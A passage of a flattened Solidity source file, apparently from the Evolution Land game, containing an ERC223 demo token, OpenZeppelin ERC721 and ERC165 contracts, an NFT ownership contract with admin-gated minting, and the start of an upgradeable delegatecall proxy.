mapping (address => mapping (address => uint256)) _approvals;
function totalSupply() public view returns (uint) {
return _supply;
}
function balanceOf(address src) public view returns (uint) {
return _balances[src];
}
function allowance(address src, address guy) public view returns (uint) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
if (src != msg.sender) {
_approvals[src][msg.sender] = _approvals[src][msg.sender].sub(wad);
}
_balances[src] = _balances[src].sub(wad);
_balances[dst] = _balances[dst].add(wad);
emit Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
}
// Dependency file: @evolutionland/common/contracts/StandardERC223.sol
// pragma solidity ^0.4.24;
// import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/interfaces/ERC223ReceivingContract.sol';
// import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/interfaces/TokenController.sol';
// import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/interfaces/ApproveAndCallFallBack.sol';
// import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/interfaces/ERC223.sol';
// import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/StandardERC20Base.sol';
// import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/DSAuth.sol';
// This is a contract for demo and test.
contract StandardERC223 is StandardERC20Base, DSAuth, ERC223 {
event Burn(address indexed burner, uint256 value);
event Mint(address indexed to, uint256 amount);
bytes32 public symbol;
uint256 public decimals = 18; // standard token precision. override to customize
// Optional token name
bytes32 public name = "";
address public controller;
constructor(bytes32 _symbol) public {
symbol = _symbol;
controller = msg.sender;
}
function setName(bytes32 name_) public auth {
name = name_;
}
//////////
// Controller Methods
//////////
/// @notice Changes the controller of the contract
/// @param _newController The new controller of the contract
function changeController(address _newController) public auth {
controller = _newController;
}
/// @notice Send `_amount` tokens to `_to` from `_from` on the condition it
/// is approved by `_from`
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
// Alerts the token controller of the transfer
if (isContract(controller)) {
if (!TokenController(controller).onTransfer(_from, _to, _amount))
revert();
}
success = super.transferFrom(_from, _to, _amount);
}
/*
* ERC 223
* Added support for the ERC 223 "tokenFallback" method in a "transfer" function with a payload.
*/
function transferFrom(address _from, address _to, uint256 _amount, bytes _data)
public
returns (bool success)
{
// Alerts the token controller of the transfer
if (isContract(controller)) {
if (!TokenController(controller).onTransfer(_from, _to, _amount))
revert();
}
require(super.transferFrom(_from, _to, _amount));
if (isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(_from, _amount, _data);
}
emit ERC223Transfer(_from, _to, _amount, _data);
return true;
}
function issue(address _to, uint256 _amount) public auth {
mint(_to, _amount);
}
function destroy(address _from, uint256 _amount) public auth {
burn(_from, _amount);
}
function mint(address _to, uint _amount) public auth {
_supply = _supply.add(_amount);
_balances[_to] = _balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
}
function burn(address _who, uint _value) public auth {
require(_value <= _balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
_balances[_who] = _balances[_who].sub(_value);
_supply = _supply.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
/*
* ERC 223
* Added support for the ERC 223 "tokenFallback" method in a "transfer" function with a payload.
* https://github.com/ethereum/EIPs/issues/223
* function transfer(address _to, uint256 _value, bytes _data) public returns (bool success);
*/
/// @notice Send `_value` tokens to `_to` from `msg.sender` and trigger
/// tokenFallback if sender is a contract.
/// @dev Function that is called when a user or another contract wants to transfer funds.
/// @param _to Address of token receiver.
/// @param _amount Number of tokens to transfer.
/// @param _data Data to be sent to tokenFallback
/// @return Returns success of function call.
function transfer(
address _to,
uint256 _amount,
bytes _data)
public
returns (bool success)
{
return transferFrom(msg.sender, _to, _amount, _data);
}
/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on
/// its behalf. This is a modified version of the ERC20 approve function
/// to be a little bit safer
/// @param _spender The address of the account able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the approval was successful
function approve(address _spender, uint256 _amount) public returns (bool success) {
// Alerts the token controller of the approve function call
if (isContract(controller)) {
if (!TokenController(controller).onApprove(msg.sender, _spender, _amount))
revert();
}
return super.approve(_spender, _amount);
}
/// @notice `msg.sender` approves `_spender` to send `_amount` tokens on
/// its behalf, and then a function is triggered in the contract that is
/// being approved, `_spender`. This allows users to use their tokens to
/// interact with contracts in one function call instead of two
/// @param _spender The address of the contract able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the function call was successful
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) public returns (bool success) {
if (!approve(_spender, _amount)) revert();
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
/// @dev Internal function to determine if an address is a contract
/// @param _addr The address being queried
/// @return True if `_addr` is a contract
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
/// @notice The fallback function: If the contract's controller has not been
/// set to 0, then the `proxyPayment` method is called which relays the
/// ether and creates tokens as described in the token controller contract
function () public payable {
if (isContract(controller)) {
if (! TokenController(controller).proxyPayment.value(msg.value)(msg.sender, msg.sig, msg.data))
revert();
} else {
revert();
}
}
//////////
// Safety Methods
//////////
/// @notice This method can be used by the owner to extract mistakenly
/// sent tokens to this contract.
/// @param _token The address of the token contract that you want to recover
/// set to 0 in case you want to extract ether.
function claimTokens(address _token) public auth {
if (_token == 0x0) {
address(msg.sender).transfer(address(this).balance);
return;
}
ERC20 token = ERC20(_token);
uint balance = token.balanceOf(this);
token.transfer(address(msg.sender), balance);
emit ClaimedTokens(_token, address(msg.sender), balance);
}
////////////////
// Events
////////////////
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
}
// Dependency file: openzeppelin-solidity/contracts/introspection/ERC165.sol
// pragma solidity ^0.4.24;
/**
* @title ERC165
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface ERC165 {
/**
* @notice Query if a contract implements an interface
* @param _interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
*/
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
// Dependency file: openzeppelin-solidity/contracts/token/ERC721/ERC721Basic.sol
// pragma solidity ^0.4.24;
// import "openzeppelin-solidity/contracts/introspection/ERC165.sol";
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Basic is ERC165 {
bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd;
/*
* 0x80ac58cd ===
* bytes4(keccak256('balanceOf(address)')) ^
* bytes4(keccak256('ownerOf(uint256)')) ^
* bytes4(keccak256('approve(address,uint256)')) ^
* bytes4(keccak256('getApproved(uint256)')) ^
* bytes4(keccak256('setApprovalForAll(address,bool)')) ^
* bytes4(keccak256('isApprovedForAll(address,address)')) ^
* bytes4(keccak256('transferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)'))
*/
bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79;
/*
* 0x4f558e79 ===
* bytes4(keccak256('exists(uint256)'))
*/
bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63;
/**
* 0x780e9d63 ===
* bytes4(keccak256('totalSupply()')) ^
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^
* bytes4(keccak256('tokenByIndex(uint256)'))
*/
bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f;
/**
* 0x5b5e139f ===
* bytes4(keccak256('name()')) ^
* bytes4(keccak256('symbol()')) ^
* bytes4(keccak256('tokenURI(uint256)'))
*/
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
// Dependency file: openzeppelin-solidity/contracts/token/ERC721/ERC721.sol
// pragma solidity ^0.4.24;
// import "openzeppelin-solidity/contracts/token/ERC721/ERC721Basic.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Metadata is ERC721Basic {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
/**
* @title ERC-721 Non-Fungible Token Standard, full implementation interface
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
// Dependency file: openzeppelin-solidity/contracts/token/ERC721/ERC721Receiver.sol
// pragma solidity ^0.4.24;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract ERC721Receiver {
/**
* @dev Magic value to be returned upon successful reception of an NFT
* Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`,
* which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
*/
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safetransfer`. This function MAY throw to revert and reject the
* transfer. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the contract address is always the message sender.
* @param _operator The address which called `safeTransferFrom` function
* @param _from The address which previously owned the token
* @param _tokenId The NFT identifier which is being transferred
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
// Dependency file: openzeppelin-solidity/contracts/AddressUtils.sol
// pragma solidity ^0.4.24;
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param _addr address to check
* @return whether the target address is a contract
*/
function isContract(address _addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
// Dependency file: openzeppelin-solidity/contracts/introspection/SupportsInterfaceWithLookup.sol
// pragma solidity ^0.4.24;
// import "openzeppelin-solidity/contracts/introspection/ERC165.sol";
/**
* @title SupportsInterfaceWithLookup
* @author Matt Condon (@shrugs)
* @dev Implements ERC165 using a lookup table.
*/
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
/**
* 0x01ffc9a7 ===
* bytes4(keccak256('supportsInterface(bytes4)'))
*/
/**
* @dev a mapping of interface id to whether or not it's supported
*/
mapping(bytes4 => bool) internal supportedInterfaces;
/**
* @dev A contract implementing SupportsInterfaceWithLookup
* implement ERC165 itself
*/
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
/**
* @dev implement supportsInterface(bytes4) using a lookup table
*/
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
/**
* @dev private method for registering an interface
*/
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
// Dependency file: openzeppelin-solidity/contracts/token/ERC721/ERC721BasicToken.sol
// pragma solidity ^0.4.24;
// import "openzeppelin-solidity/contracts/token/ERC721/ERC721Basic.sol";
// import "openzeppelin-solidity/contracts/token/ERC721/ERC721Receiver.sol";
// import "openzeppelin-solidity/contracts/math/SafeMath.sol";
// import "openzeppelin-solidity/contracts/AddressUtils.sol";
// import "openzeppelin-solidity/contracts/introspection/SupportsInterfaceWithLookup.sol";
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) internal tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) internal tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) internal ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) internal operatorApprovals;
constructor()
public
{
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721);
_registerInterface(InterfaceId_ERC721Exists);
}
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
/**
* @dev Gets the owner of the specified token ID
* @param _tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Returns whether the specified token exists
* @param _tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param _to address to be approved for the given token ID
* @param _tokenId uint256 ID of the token to be approved
*/
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* @param _tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
* @param _to operator address to set the approval
* @param _approved representing the status of the approval to be set
*/
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param _owner owner address which you want to query the approval of
* @param _operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
require(isApprovedOrOwner(msg.sender, _tokenId));
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
*
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
// solium-disable-next-line arg-overflow
safeTransferFrom(_from, _to, _tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
{
transferFrom(_from, _to, _tokenId);
// solium-disable-next-line arg-overflow
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param _spender address of the spender to query
* @param _tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param _to The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
/**
* @dev Internal function to clear current approval of a given token ID
* Reverts if the given address is not indeed the owner of the token
* @param _owner owner of the token
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* The call is not executed if the target address is not a contract
* @param _from address representing the previous owner of the given token ID
* @param _to target address that will receive the tokens
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(
msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
// Dependency file: openzeppelin-solidity/contracts/token/ERC721/ERC721Token.sol
// pragma solidity ^0.4.24;
// import "openzeppelin-solidity/contracts/token/ERC721/ERC721.sol";
// import "openzeppelin-solidity/contracts/token/ERC721/ERC721BasicToken.sol";
// import "openzeppelin-solidity/contracts/introspection/SupportsInterfaceWithLookup.sol";
/**
* @title Full ERC721 Token
* This implementation includes all the required and some optional functionality of the ERC721 standard
* Moreover, it includes approve all functionality using operator terminology
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 {
// Token name
string internal name_;
// Token symbol
string internal symbol_;
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
// Optional mapping for token URIs
mapping(uint256 => string) internal tokenURIs;
/**
* @dev Constructor function
*/
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721Enumerable);
_registerInterface(InterfaceId_ERC721Metadata);
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() external view returns (string) {
return name_;
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() external view returns (string) {
return symbol_;
}
/**
* @dev Returns an URI for a given token ID
* Throws if the token ID does not exist. May return an empty string.
* @param _tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param _owner address owning the tokens list to be accessed
* @param _index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens
* @param _index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
/**
* @dev Internal function to set the token URI for a given token
* Reverts if the token ID does not exist
* @param _tokenId uint256 ID of the token to set its URI
* @param _uri string URI to assign
*/
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
// To prevent a gap in the array, we store the last token in the index of the token to delete, and
// then delete the last slot.
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
// This also deletes the contents at the last position of the array
ownedTokens[_from].length--;
// Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to
// be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping
// the lastToken to the first position, and then dropping the element placed in the last position of the list
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param _to address the beneficiary that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param _owner owner of the token to burn
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
// Clear metadata (if any)
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
// Reorg all tokens array
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
// Dependency file: @evolutionland/common/contracts/ObjectOwnership.sol
// pragma solidity ^0.4.24;
// import "openzeppelin-solidity/contracts/ownership/Ownable.sol";
// import "openzeppelin-solidity/contracts/token/ERC721/ERC721Token.sol";
// import "@evolutionland/common/contracts/interfaces/IInterstellarEncoder.sol";
// import "@evolutionland/common/contracts/interfaces/ISettingsRegistry.sol";
// import "@evolutionland/common/contracts/DSAuth.sol";
// import "@evolutionland/common/contracts/SettingIds.sol";
contract ObjectOwnership is ERC721Token("Evolution Land Objects","EVO"), DSAuth, SettingIds {
ISettingsRegistry public registry;
bool private singletonLock = false;
/*
* Modifiers
*/
modifier singletonLockCall() {
require(!singletonLock, "Only can call once");
_;
singletonLock = true;
}
/**
* @dev Atlantis's constructor
*/
constructor () public {
// initializeContract();
}
/**
* @dev Same with constructor, but is used and called by storage proxy as logic contract.
*/
function initializeContract(address _registry) public singletonLockCall {
// Ownable constructor
owner = msg.sender;
emit LogSetOwner(msg.sender);
// SupportsInterfaceWithLookup constructor
_registerInterface(InterfaceId_ERC165);
// ERC721BasicToken constructor
_registerInterface(InterfaceId_ERC721);
_registerInterface(InterfaceId_ERC721Exists);
// ERC721Token constructor
name_ = "Evolution Land Objects";
symbol_ = "EVO"; // Evolution Land Objects
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721Enumerable);
_registerInterface(InterfaceId_ERC721Metadata);
registry = ISettingsRegistry(_registry);
}
function mintObject(address _to, uint128 _objectId) public auth returns (uint256 _tokenId) {
address interstellarEncoder = registry.addressOf(CONTRACT_INTERSTELLAR_ENCODER);
_tokenId = IInterstellarEncoder(interstellarEncoder).encodeTokenIdForObjectContract(
address(this), msg.sender, _objectId);
super._mint(_to, _tokenId);
}
function burnObject(address _to, uint128 _objectId) public auth returns (uint256 _tokenId) {
address interstellarEncoder = registry.addressOf(CONTRACT_INTERSTELLAR_ENCODER);
_tokenId = IInterstellarEncoder(interstellarEncoder).encodeTokenIdForObjectContract(
address(this), msg.sender, _objectId);
super._burn(_to, _tokenId);
}
function mint(address _to, uint256 _tokenId) public auth {
super._mint(_to, _tokenId);
}
function burn(address _to, uint256 _tokenId) public auth {
super._burn(_to, _tokenId);
}
//@dev user invoke approveAndCall to create auction
//@param _to - address of auction contractร
function approveAndCall(
address _to,
uint _tokenId,
bytes _extraData
) public {
// set _to to the auction contract
approve(_to, _tokenId);
if(!_to.call(
bytes4(keccak256("receiveApproval(address,uint256,bytes)")), abi.encode(msg.sender, _tokenId, _extraData)
)) {
revert();
}
}
}
// Dependency file: @evolutionland/upgraeability-using-unstructured-storage/contracts/Proxy.sol
// pragma solidity ^0.4.21;
/**
* @title Proxy
* @dev Gives the possibility to delegate any call to a foreign implementation.
*/
contract Proxy {
/**
* @dev Tells the address of the implementation where every call will be delegated.
* @return address of the implementation to which it will be delegated
*/
function implementation() public view returns (address);
/**
* @dev Fallback function allowing to perform a delegatecall to the given implementation.
* This function will return whatever the implementation call returns
*/
function () payable public {
address _impl = implementation();
require(_impl != address(0));
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
// Dependency file: @evolutionland/upgraeability-using-unstructured-storage/contracts/UpgradeabilityProxy.sol
// pragma solidity ^0.4.21;
